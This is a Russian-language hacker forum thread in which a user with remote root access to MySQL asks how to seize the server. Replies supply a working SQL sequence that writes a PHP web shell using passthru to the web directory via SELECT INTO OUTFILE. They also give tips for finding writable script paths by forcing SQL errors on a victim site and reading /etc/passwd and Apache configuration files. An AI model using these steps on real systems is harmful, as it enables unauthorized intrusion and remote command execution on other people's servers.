![]() |
Зашёл удолёно на MySql под root. Подскажите как захватить сервак.
Я думал скрипт залить но как я потом его вызову ?
Думал может в таблицы какието файлы по заливать а потом почитать их но как заливать данные из таблиц Помогите пожалуйста. |
CREATE TABLE `shell` (s TEXT);
INSERT INTO `shell` values ('<? passthru("$cmd"); ?>'); SELECT `s` INTO OUTFILE '/svoi/puti/k/saity/shell.php' FROM `shell`; DROP TABLE `shell`; |
ето ты конечно ловко придумал:
SELECT `s` INTO OUTFILE '/svoi/puti/k/saity/shell.php' FROM `shell`; только вот как узнать полные пути к катологам в которых разрешено выполнение скриптов? |
Попробуй на самом серваке скрипты пощупать. Может удача улыбнёться и ты увидишь северный путь :d
|
У меян короче такой же косяк. Я короче путь знаю всё когда прописываю выдаёт следующее "You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '; INSERT INTO `shell` values (''); SEL". Я в скулях особо не разбираюсь но скажите мне что за ошибка?
|
victim.ru/check.php=into
Это просто глупый пример,попробуй вместо into подставить ' ,если будет ошибка узнаешь часть серв. пути. victim.ru/check.php=' |
Цитата:
замени на INSERT INTO `s` values ('<? passthru("$cmd"); ?>'); |
Цитата:
|
2 SanyaX
версия твоего мускуля не поддерживает выполнение нескольких sql запросов через ; вот и все... насколько я понимаю |
ну можно например из /etc/passwd узнать путь к апачу. оттуда по всем извесным относительным путям conf/httpd.conf узнаешь путь к директории со скриптами. санякс пока ни одна версия мускля не обрабатывает запрос после ; по-крайней мере пхп библиотека для работы с мускл сервером за один mysql_query этого не позволяет.
|
| Время: 18:48 |